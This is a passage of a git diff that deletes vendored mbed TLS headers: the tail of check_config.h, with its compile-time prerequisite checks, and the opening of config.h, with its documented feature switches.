-#error "MBEDTLS_CTR_DRBG_ENTROPY_LEN value too high" -#endif -#if defined(MBEDTLS_ENTROPY_C) && \ - ( !defined(MBEDTLS_SHA512_C) || defined(MBEDTLS_ENTROPY_FORCE_SHA256) ) \ - && defined(MBEDTLS_CTR_DRBG_ENTROPY_LEN) && (MBEDTLS_CTR_DRBG_ENTROPY_LEN > 32) -#error "MBEDTLS_CTR_DRBG_ENTROPY_LEN value too high" -#endif -#if defined(MBEDTLS_ENTROPY_C) && \ - defined(MBEDTLS_ENTROPY_FORCE_SHA256) && !defined(MBEDTLS_SHA256_C) -#error "MBEDTLS_ENTROPY_FORCE_SHA256 defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_GCM_C) && ( \ - !defined(MBEDTLS_AES_C) && !defined(MBEDTLS_CAMELLIA_C) ) -#error "MBEDTLS_GCM_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_HAVEGE_C) && !defined(MBEDTLS_TIMING_C) -#error "MBEDTLS_HAVEGE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_HMAC_DRBG_C) && !defined(MBEDTLS_MD_C) -#error "MBEDTLS_HMAC_DRBG_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA_ENABLED) && \ - ( !defined(MBEDTLS_ECDH_C) || !defined(MBEDTLS_X509_CRT_PARSE_C) ) -#error "MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECDH_RSA_ENABLED) && \ - ( !defined(MBEDTLS_ECDH_C) || !defined(MBEDTLS_X509_CRT_PARSE_C) ) -#error "MBEDTLS_KEY_EXCHANGE_ECDH_RSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_DHE_PSK_ENABLED) && !defined(MBEDTLS_DHM_C) -#error "MBEDTLS_KEY_EXCHANGE_DHE_PSK_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECDHE_PSK_ENABLED) && \ - !defined(MBEDTLS_ECDH_C) -#error "MBEDTLS_KEY_EXCHANGE_ECDHE_PSK_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_DHE_RSA_ENABLED) && \ - ( !defined(MBEDTLS_DHM_C) || !defined(MBEDTLS_RSA_C) || \ - !defined(MBEDTLS_X509_CRT_PARSE_C) || !defined(MBEDTLS_PKCS1_V15) ) -#error "MBEDTLS_KEY_EXCHANGE_DHE_RSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECDHE_RSA_ENABLED) && \ - ( !defined(MBEDTLS_ECDH_C) || !defined(MBEDTLS_RSA_C) || \ - !defined(MBEDTLS_X509_CRT_PARSE_C) || !defined(MBEDTLS_PKCS1_V15) ) -#error "MBEDTLS_KEY_EXCHANGE_ECDHE_RSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA_ENABLED) && \ - ( !defined(MBEDTLS_ECDH_C) || !defined(MBEDTLS_ECDSA_C) || \ - !defined(MBEDTLS_X509_CRT_PARSE_C) ) -#error "MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_RSA_PSK_ENABLED) && \ - ( !defined(MBEDTLS_RSA_C) || !defined(MBEDTLS_X509_CRT_PARSE_C) || \ - !defined(MBEDTLS_PKCS1_V15) ) -#error "MBEDTLS_KEY_EXCHANGE_RSA_PSK_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_RSA_ENABLED) && \ - ( !defined(MBEDTLS_RSA_C) || !defined(MBEDTLS_X509_CRT_PARSE_C) || \ - !defined(MBEDTLS_PKCS1_V15) ) -#error "MBEDTLS_KEY_EXCHANGE_RSA_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_KEY_EXCHANGE_ECJPAKE_ENABLED) && \ - ( !defined(MBEDTLS_ECJPAKE_C) || !defined(MBEDTLS_SHA256_C) || \ - !defined(MBEDTLS_ECP_DP_SECP256R1_ENABLED) ) -#error "MBEDTLS_KEY_EXCHANGE_ECJPAKE_ENABLED defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_MEMORY_BUFFER_ALLOC_C) && \ - ( !defined(MBEDTLS_PLATFORM_C) || !defined(MBEDTLS_PLATFORM_MEMORY) ) -#error "MBEDTLS_MEMORY_BUFFER_ALLOC_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PADLOCK_C) && !defined(MBEDTLS_HAVE_ASM) -#error "MBEDTLS_PADLOCK_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PEM_PARSE_C) && !defined(MBEDTLS_BASE64_C) -#error "MBEDTLS_PEM_PARSE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PEM_WRITE_C) && !defined(MBEDTLS_BASE64_C) -#error "MBEDTLS_PEM_WRITE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PK_C) && \ - ( !defined(MBEDTLS_RSA_C) && !defined(MBEDTLS_ECP_C) ) -#error "MBEDTLS_PK_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PK_PARSE_C) && !defined(MBEDTLS_PK_C) -#error "MBEDTLS_PK_PARSE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PK_WRITE_C) && !defined(MBEDTLS_PK_C) -#error "MBEDTLS_PK_WRITE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PKCS11_C) && !defined(MBEDTLS_PK_C) -#error "MBEDTLS_PKCS11_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_EXIT_ALT) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_EXIT_ALT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_EXIT_MACRO) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_EXIT_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_EXIT_MACRO) &&\ - ( defined(MBEDTLS_PLATFORM_STD_EXIT) ||\ - defined(MBEDTLS_PLATFORM_EXIT_ALT) ) -#error "MBEDTLS_PLATFORM_EXIT_MACRO and MBEDTLS_PLATFORM_STD_EXIT/MBEDTLS_PLATFORM_EXIT_ALT cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_FPRINTF_ALT) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_FPRINTF_ALT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_FPRINTF_MACRO) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_FPRINTF_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_FPRINTF_MACRO) &&\ - ( defined(MBEDTLS_PLATFORM_STD_FPRINTF) ||\ - defined(MBEDTLS_PLATFORM_FPRINTF_ALT) ) -#error "MBEDTLS_PLATFORM_FPRINTF_MACRO and MBEDTLS_PLATFORM_STD_FPRINTF/MBEDTLS_PLATFORM_FPRINTF_ALT cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_FREE_MACRO) &&\ - ( !defined(MBEDTLS_PLATFORM_C) || !defined(MBEDTLS_PLATFORM_MEMORY) ) -#error "MBEDTLS_PLATFORM_FREE_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_FREE_MACRO) &&\ - defined(MBEDTLS_PLATFORM_STD_FREE) -#error "MBEDTLS_PLATFORM_FREE_MACRO and MBEDTLS_PLATFORM_STD_FREE cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_FREE_MACRO) && !defined(MBEDTLS_PLATFORM_CALLOC_MACRO) -#error "MBEDTLS_PLATFORM_CALLOC_MACRO must be defined if MBEDTLS_PLATFORM_FREE_MACRO is" -#endif - -#if defined(MBEDTLS_PLATFORM_CALLOC_MACRO) &&\ - ( !defined(MBEDTLS_PLATFORM_C) || !defined(MBEDTLS_PLATFORM_MEMORY) ) -#error "MBEDTLS_PLATFORM_CALLOC_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_CALLOC_MACRO) &&\ - defined(MBEDTLS_PLATFORM_STD_CALLOC) -#error "MBEDTLS_PLATFORM_CALLOC_MACRO and MBEDTLS_PLATFORM_STD_CALLOC cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_CALLOC_MACRO) && !defined(MBEDTLS_PLATFORM_FREE_MACRO) -#error "MBEDTLS_PLATFORM_FREE_MACRO must be defined if MBEDTLS_PLATFORM_CALLOC_MACRO is" -#endif - -#if defined(MBEDTLS_PLATFORM_MEMORY) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_MEMORY defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_PRINTF_ALT) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_PRINTF_ALT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_PRINTF_MACRO) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_PRINTF_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_PRINTF_MACRO) &&\ - ( defined(MBEDTLS_PLATFORM_STD_PRINTF) ||\ - defined(MBEDTLS_PLATFORM_PRINTF_ALT) ) -#error "MBEDTLS_PLATFORM_PRINTF_MACRO and MBEDTLS_PLATFORM_STD_PRINTF/MBEDTLS_PLATFORM_PRINTF_ALT cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_SNPRINTF_ALT) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_SNPRINTF_ALT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_SNPRINTF_MACRO) && !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_SNPRINTF_MACRO defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_SNPRINTF_MACRO) &&\ - ( defined(MBEDTLS_PLATFORM_STD_SNPRINTF) ||\ - defined(MBEDTLS_PLATFORM_SNPRINTF_ALT) ) -#error "MBEDTLS_PLATFORM_SNPRINTF_MACRO and MBEDTLS_PLATFORM_STD_SNPRINTF/MBEDTLS_PLATFORM_SNPRINTF_ALT cannot be defined simultaneously" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_MEM_HDR) &&\ - !defined(MBEDTLS_PLATFORM_NO_STD_FUNCTIONS) -#error "MBEDTLS_PLATFORM_STD_MEM_HDR defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_CALLOC) && !defined(MBEDTLS_PLATFORM_MEMORY) -#error "MBEDTLS_PLATFORM_STD_CALLOC defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_CALLOC) && !defined(MBEDTLS_PLATFORM_MEMORY) -#error "MBEDTLS_PLATFORM_STD_CALLOC defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_FREE) && !defined(MBEDTLS_PLATFORM_MEMORY) -#error "MBEDTLS_PLATFORM_STD_FREE defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_EXIT) &&\ - !defined(MBEDTLS_PLATFORM_EXIT_ALT) -#error "MBEDTLS_PLATFORM_STD_EXIT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_FPRINTF) &&\ - !defined(MBEDTLS_PLATFORM_FPRINTF_ALT) -#error "MBEDTLS_PLATFORM_STD_FPRINTF defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_PRINTF) &&\ - !defined(MBEDTLS_PLATFORM_PRINTF_ALT) -#error "MBEDTLS_PLATFORM_STD_PRINTF defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_PLATFORM_STD_SNPRINTF) &&\ - !defined(MBEDTLS_PLATFORM_SNPRINTF_ALT) -#error "MBEDTLS_PLATFORM_STD_SNPRINTF defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_RSA_C) && ( !defined(MBEDTLS_BIGNUM_C) || \ - !defined(MBEDTLS_OID_C) ) -#error "MBEDTLS_RSA_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_RSASSA_PSS_SUPPORT) && \ - ( !defined(MBEDTLS_RSA_C) || !defined(MBEDTLS_PKCS1_V21) ) -#error "MBEDTLS_X509_RSASSA_PSS_SUPPORT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_PROTO_SSL3) && ( !defined(MBEDTLS_MD5_C) || \ - !defined(MBEDTLS_SHA1_C) ) -#error "MBEDTLS_SSL_PROTO_SSL3 defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_PROTO_TLS1) && ( !defined(MBEDTLS_MD5_C) || \ - !defined(MBEDTLS_SHA1_C) ) -#error "MBEDTLS_SSL_PROTO_TLS1 defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_PROTO_TLS1_1) && ( !defined(MBEDTLS_MD5_C) || \ - !defined(MBEDTLS_SHA1_C) ) -#error "MBEDTLS_SSL_PROTO_TLS1_1 defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_PROTO_TLS1_2) && ( !defined(MBEDTLS_SHA1_C) && \ - !defined(MBEDTLS_SHA256_C) && !defined(MBEDTLS_SHA512_C) ) -#error "MBEDTLS_SSL_PROTO_TLS1_2 defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_PROTO_DTLS) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_2) -#error "MBEDTLS_SSL_PROTO_DTLS defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_CLI_C) && !defined(MBEDTLS_SSL_TLS_C) -#error "MBEDTLS_SSL_CLI_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_TLS_C) && ( !defined(MBEDTLS_CIPHER_C) || \ - !defined(MBEDTLS_MD_C) ) -#error "MBEDTLS_SSL_TLS_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_SRV_C) && !defined(MBEDTLS_SSL_TLS_C) -#error "MBEDTLS_SSL_SRV_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_TLS_C) && (!defined(MBEDTLS_SSL_PROTO_SSL3) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1) && !defined(MBEDTLS_SSL_PROTO_TLS1_1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_2)) -#error "MBEDTLS_SSL_TLS_C defined, but no protocols are active" -#endif - -#if defined(MBEDTLS_SSL_TLS_C) && (defined(MBEDTLS_SSL_PROTO_SSL3) && \ - defined(MBEDTLS_SSL_PROTO_TLS1_1) && !defined(MBEDTLS_SSL_PROTO_TLS1)) -#error "Illegal protocol selection" -#endif - -#if defined(MBEDTLS_SSL_TLS_C) && (defined(MBEDTLS_SSL_PROTO_TLS1) && \ - defined(MBEDTLS_SSL_PROTO_TLS1_2) && !defined(MBEDTLS_SSL_PROTO_TLS1_1)) -#error "Illegal protocol selection" -#endif - -#if defined(MBEDTLS_SSL_TLS_C) && (defined(MBEDTLS_SSL_PROTO_SSL3) && \ - defined(MBEDTLS_SSL_PROTO_TLS1_2) && (!defined(MBEDTLS_SSL_PROTO_TLS1) || \ - !defined(MBEDTLS_SSL_PROTO_TLS1_1))) -#error "Illegal protocol selection" -#endif - -#if defined(MBEDTLS_SSL_DTLS_HELLO_VERIFY) && !defined(MBEDTLS_SSL_PROTO_DTLS) -#error "MBEDTLS_SSL_DTLS_HELLO_VERIFY defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_DTLS_CLIENT_PORT_REUSE) && \ - !defined(MBEDTLS_SSL_DTLS_HELLO_VERIFY) -#error "MBEDTLS_SSL_DTLS_CLIENT_PORT_REUSE defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_DTLS_ANTI_REPLAY) && \ - ( !defined(MBEDTLS_SSL_TLS_C) || !defined(MBEDTLS_SSL_PROTO_DTLS) ) -#error "MBEDTLS_SSL_DTLS_ANTI_REPLAY defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_DTLS_BADMAC_LIMIT) && \ - ( !defined(MBEDTLS_SSL_TLS_C) || !defined(MBEDTLS_SSL_PROTO_DTLS) ) -#error "MBEDTLS_SSL_DTLS_BADMAC_LIMIT defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_ENCRYPT_THEN_MAC) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_2) -#error "MBEDTLS_SSL_ENCRYPT_THEN_MAC defined, but not all prerequsites" -#endif - -#if defined(MBEDTLS_SSL_EXTENDED_MASTER_SECRET) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_1) && \ - !defined(MBEDTLS_SSL_PROTO_TLS1_2) -#error "MBEDTLS_SSL_EXTENDED_MASTER_SECRET defined, but not all prerequsites" -#endif - -#if defined(MBEDTLS_SSL_TICKET_C) && !defined(MBEDTLS_CIPHER_C) -#error "MBEDTLS_SSL_TICKET_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_CBC_RECORD_SPLITTING) && \ - !defined(MBEDTLS_SSL_PROTO_SSL3) && !defined(MBEDTLS_SSL_PROTO_TLS1) -#error "MBEDTLS_SSL_CBC_RECORD_SPLITTING defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_SSL_SERVER_NAME_INDICATION) && \ - !defined(MBEDTLS_X509_CRT_PARSE_C) -#error "MBEDTLS_SSL_SERVER_NAME_INDICATION defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_THREADING_PTHREAD) -#if !defined(MBEDTLS_THREADING_C) || defined(MBEDTLS_THREADING_IMPL) -#error "MBEDTLS_THREADING_PTHREAD defined, but not all prerequisites" -#endif -#define MBEDTLS_THREADING_IMPL -#endif - -#if defined(MBEDTLS_THREADING_ALT) -#if !defined(MBEDTLS_THREADING_C) || defined(MBEDTLS_THREADING_IMPL) -#error "MBEDTLS_THREADING_ALT defined, but not all prerequisites" -#endif -#define MBEDTLS_THREADING_IMPL -#endif - -#if defined(MBEDTLS_THREADING_C) && !defined(MBEDTLS_THREADING_IMPL) -#error "MBEDTLS_THREADING_C defined, single threading implementation required" -#endif -#undef MBEDTLS_THREADING_IMPL - -#if defined(MBEDTLS_VERSION_FEATURES) && !defined(MBEDTLS_VERSION_C) -#error "MBEDTLS_VERSION_FEATURES defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_USE_C) && ( !defined(MBEDTLS_BIGNUM_C) || \ - !defined(MBEDTLS_OID_C) || !defined(MBEDTLS_ASN1_PARSE_C) || \ - !defined(MBEDTLS_PK_PARSE_C) ) -#error "MBEDTLS_X509_USE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CREATE_C) && ( !defined(MBEDTLS_BIGNUM_C) || \ - !defined(MBEDTLS_OID_C) || !defined(MBEDTLS_ASN1_WRITE_C) || \ - !defined(MBEDTLS_PK_WRITE_C) ) -#error "MBEDTLS_X509_CREATE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CRT_PARSE_C) && ( !defined(MBEDTLS_X509_USE_C) ) -#error "MBEDTLS_X509_CRT_PARSE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CRL_PARSE_C) && ( !defined(MBEDTLS_X509_USE_C) ) -#error "MBEDTLS_X509_CRL_PARSE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CSR_PARSE_C) && ( !defined(MBEDTLS_X509_USE_C) ) -#error "MBEDTLS_X509_CSR_PARSE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CRT_WRITE_C) && ( !defined(MBEDTLS_X509_CREATE_C) ) -#error "MBEDTLS_X509_CRT_WRITE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_X509_CSR_WRITE_C) && ( !defined(MBEDTLS_X509_CREATE_C) ) -#error "MBEDTLS_X509_CSR_WRITE_C defined, but not all prerequisites" -#endif - -/* - * Avoid warning from -pedantic. This is a convenient place for this - * workaround since this is included by every single file before the - * #if defined(MBEDTLS_xxx_C) that results in emtpy translation units. - */ -typedef int mbedtls_iso_c_forbids_empty_translation_units; - -#endif /* MBEDTLS_CHECK_CONFIG_H */ diff --git a/others/mbedtls/mbed-tls-config.h b/others/mbedtls/mbed-tls-config.h deleted file mode 100644 index ad564cfc71..0000000000 --- a/others/mbedtls/mbed-tls-config.h +++ /dev/null @@ -1,2511 +0,0 @@ -/** - * \file config.h - * - * \brief Configuration options (set of defines) - * - * This set of compile-time options may be used to enable - * or disable features selectively, and reduce the global - * memory footprint. - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ - -#ifndef MBEDTLS_CONFIG_H -#define MBEDTLS_CONFIG_H - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE) -#define _CRT_SECURE_NO_DEPRECATE 1 -#endif - -/** - * \name SECTION: System support - * - * This section sets system specific settings. - * \{ - */ - -/** - * \def MBEDTLS_HAVE_ASM - * - * The compiler has support for asm(). - * - * Requires support for asm() in compiler. - * - * Used in: - * library/timing.c - * library/padlock.c - * include/mbedtls/bn_mul.h - * - * Comment to disable the use of assembly code. - */ -#define MBEDTLS_HAVE_ASM - -/** - * \def MBEDTLS_HAVE_SSE2 - * - * CPU supports SSE2 instruction set. - * - * Uncomment if the CPU supports SSE2 (IA-32 specific). - */ -//#define MBEDTLS_HAVE_SSE2 - -/** - * \def MBEDTLS_HAVE_TIME - * - * System has time.h and time(). - * The time does not need to be correct, only time differences are used, - * by contrast with MBEDTLS_HAVE_TIME_DATE - * - * Comment if your system does not support time functions - */ -#define MBEDTLS_HAVE_TIME - -/** - * \def MBEDTLS_HAVE_TIME_DATE - * - * System has time.h and time(), gmtime() and the clock is correct. - * The time needs to be correct (not necesarily very accurate, but at least - * the date should be correct). This is used to verify the validity period of - * X.509 certificates. - * - * Comment if your system does not have a correct clock. - */ -#define MBEDTLS_HAVE_TIME_DATE - -/** - * \def MBEDTLS_PLATFORM_MEMORY - * - * Enable the memory allocation layer. - * - * By default mbed TLS uses the system-provided calloc() and free(). - * This allows different allocators (self-implemented or provided) to be - * provided to the platform abstraction layer. - * - * Enabling MBEDTLS_PLATFORM_MEMORY without the - * MBEDTLS_PLATFORM_{FREE,CALLOC}_MACROs will provide - * "mbedtls_platform_set_calloc_free()" allowing you to set an alternative calloc() and - * free() function pointer at runtime. - * - * Enabling MBEDTLS_PLATFORM_MEMORY and specifying - * MBEDTLS_PLATFORM_{CALLOC,FREE}_MACROs will allow you to specify the - * alternate function at compile time. - * - * Requires: MBEDTLS_PLATFORM_C - * - * Enable this layer to allow use of alternative memory allocators. - */ -//#define MBEDTLS_PLATFORM_MEMORY - -/** - * \def MBEDTLS_PLATFORM_NO_STD_FUNCTIONS - * - * Do not assign standard functions in the platform layer (e.g. calloc() to - * MBEDTLS_PLATFORM_STD_CALLOC and printf() to MBEDTLS_PLATFORM_STD_PRINTF) - * - * This makes sure there are no linking errors on platforms that do not support - * these functions. You will HAVE to provide alternatives, either at runtime - * via the platform_set_xxx() functions or at compile time by setting - * the MBEDTLS_PLATFORM_STD_XXX defines, or enabling a - * MBEDTLS_PLATFORM_XXX_MACRO. - * - * Requires: MBEDTLS_PLATFORM_C - * - * Uncomment to prevent default assignment of standard functions in the - * platform layer. - */ -//#define MBEDTLS_PLATFORM_NO_STD_FUNCTIONS - -/** - * \def MBEDTLS_PLATFORM_EXIT_ALT - * - * MBEDTLS_PLATFORM_XXX_ALT: Uncomment a macro to let mbed TLS support the - * function in the platform abstraction layer. - * - * Example: In case you uncomment MBEDTLS_PLATFORM_PRINTF_ALT, mbed TLS will - * provide a function "mbedtls_platform_set_printf()" that allows you to set an - * alternative printf function pointer. - * - * All these define require MBEDTLS_PLATFORM_C to be defined! - * - * \note MBEDTLS_PLATFORM_SNPRINTF_ALT is required on Windows; - * it will be enabled automatically by check_config.h - * - * \warning MBEDTLS_PLATFORM_XXX_ALT cannot be defined at the same time as - * MBEDTLS_PLATFORM_XXX_MACRO! - * - * Uncomment a macro to enable alternate implementation of specific base - * platform function - */ -//#define MBEDTLS_PLATFORM_EXIT_ALT -//#define MBEDTLS_PLATFORM_FPRINTF_ALT -//#define MBEDTLS_PLATFORM_PRINTF_ALT -//#define MBEDTLS_PLATFORM_SNPRINTF_ALT - -/** - * \def MBEDTLS_DEPRECATED_WARNING - * - * Mark deprecated functions so that they generate a warning if used. - * Functions deprecated in one version will usually be removed in the next - * version. You can enable this to help you prepare the transition to a new - * major version by making sure your code is not using these functions. - * - * This only works with GCC and Clang. With other compilers, you may want to - * use MBEDTLS_DEPRECATED_REMOVED - * - * Uncomment to get warnings on using deprecated functions. - */ -//#define MBEDTLS_DEPRECATED_WARNING - -/** - * \def MBEDTLS_DEPRECATED_REMOVED - * - * Remove deprecated functions so that they generate an error if used. - * Functions deprecated in one version will usually be removed in the next - * version. You can enable this to help you prepare the transition to a new - * major version by making sure your code is not using these functions. - * - * Uncomment to get errors on using deprecated functions. - */ -//#define MBEDTLS_DEPRECATED_REMOVED - -/* \} name SECTION: System support */ - -/** - * \name SECTION: mbed TLS feature support - * - * This section sets support for features that are or are not needed - * within the modules that are enabled. - * \{ - */ - -/** - * \def MBEDTLS_TIMING_ALT - * - * Uncomment to provide your own alternate implementation for mbedtls_timing_hardclock(), - * mbedtls_timing_get_timer(), mbedtls_set_alarm(), mbedtls_set/get_delay() - * - * Only works if you have MBEDTLS_TIMING_C enabled. - * - * You will need to provide a header "timing_alt.h" and an implementation at - * compile time. - */ -//#define MBEDTLS_TIMING_ALT - -/** - * \def MBEDTLS_AES_ALT - * - * MBEDTLS__MODULE_NAME__ALT: Uncomment a macro to let mbed TLS use your - * alternate core implementation of a symmetric crypto or hash module (e.g. - * platform specific assembly optimized implementations). Keep in mind that - * the function prototypes should remain the same. - * - * This replaces the whole module. If you only want to replace one of the - * functions, use one of the MBEDTLS__FUNCTION_NAME__ALT flags. - * - * Example: In case you uncomment MBEDTLS_AES_ALT, mbed TLS will no longer - * provide the "struct mbedtls_aes_context" definition and omit the base function - * declarations and implementations. "aes_alt.h" will be included from - * "aes.h" to include the new function definitions. - * - * Uncomment a macro to enable alternate implementation of the corresponding - * module. - */ -//#define MBEDTLS_AES_ALT -//#define MBEDTLS_ARC4_ALT -//#define MBEDTLS_BLOWFISH_ALT -//#define MBEDTLS_CAMELLIA_ALT -//#define MBEDTLS_DES_ALT -//#define MBEDTLS_XTEA_ALT -//#define MBEDTLS_MD2_ALT -//#define MBEDTLS_MD4_ALT -//#define MBEDTLS_MD5_ALT -//#define MBEDTLS_RIPEMD160_ALT -//#define MBEDTLS_SHA1_ALT -//#define MBEDTLS_SHA256_ALT -//#define MBEDTLS_SHA512_ALT - -/** - * \def MBEDTLS_MD2_PROCESS_ALT - * - * MBEDTLS__FUNCTION_NAME__ALT: Uncomment a macro to let mbed TLS use you - * alternate core implementation of symmetric crypto or hash function. Keep in - * mind that function prototypes should remain the same. - * - * This replaces only one function. The header file from mbed TLS is still - * used, in contrast to the MBEDTLS__MODULE_NAME__ALT flags. - * - * Example: In case you uncomment MBEDTLS_SHA256_PROCESS_ALT, mbed TLS will - * no longer provide the mbedtls_sha1_process() function, but it will still provide - * the other function (using your mbedtls_sha1_process() function) and the definition - * of mbedtls_sha1_context, so your implementation of mbedtls_sha1_process must be compatible - * with this definition. - * - * Note: if you use the AES_xxx_ALT macros, then is is recommended to also set - * MBEDTLS_AES_ROM_TABLES in order to help the linker garbage-collect the AES - * tables. - * - * Uncomment a macro to enable alternate implementation of the corresponding - * function. - */ -//#define MBEDTLS_MD2_PROCESS_ALT -//#define MBEDTLS_MD4_PROCESS_ALT -//#define MBEDTLS_MD5_PROCESS_ALT -//#define MBEDTLS_RIPEMD160_PROCESS_ALT -//#define MBEDTLS_SHA1_PROCESS_ALT -//#define MBEDTLS_SHA256_PROCESS_ALT -//#define MBEDTLS_SHA512_PROCESS_ALT -//#define MBEDTLS_DES_SETKEY_ALT -//#define MBEDTLS_DES_CRYPT_ECB_ALT -//#define MBEDTLS_DES3_CRYPT_ECB_ALT -//#define MBEDTLS_AES_SETKEY_ENC_ALT -//#define MBEDTLS_AES_SETKEY_DEC_ALT -//#define MBEDTLS_AES_ENCRYPT_ALT -//#define MBEDTLS_AES_DECRYPT_ALT - -/** - * \def MBEDTLS_ENTROPY_HARDWARE_ALT - * - * Uncomment this macro to let mbed TLS use your own implementation of a - * hardware entropy collector. - 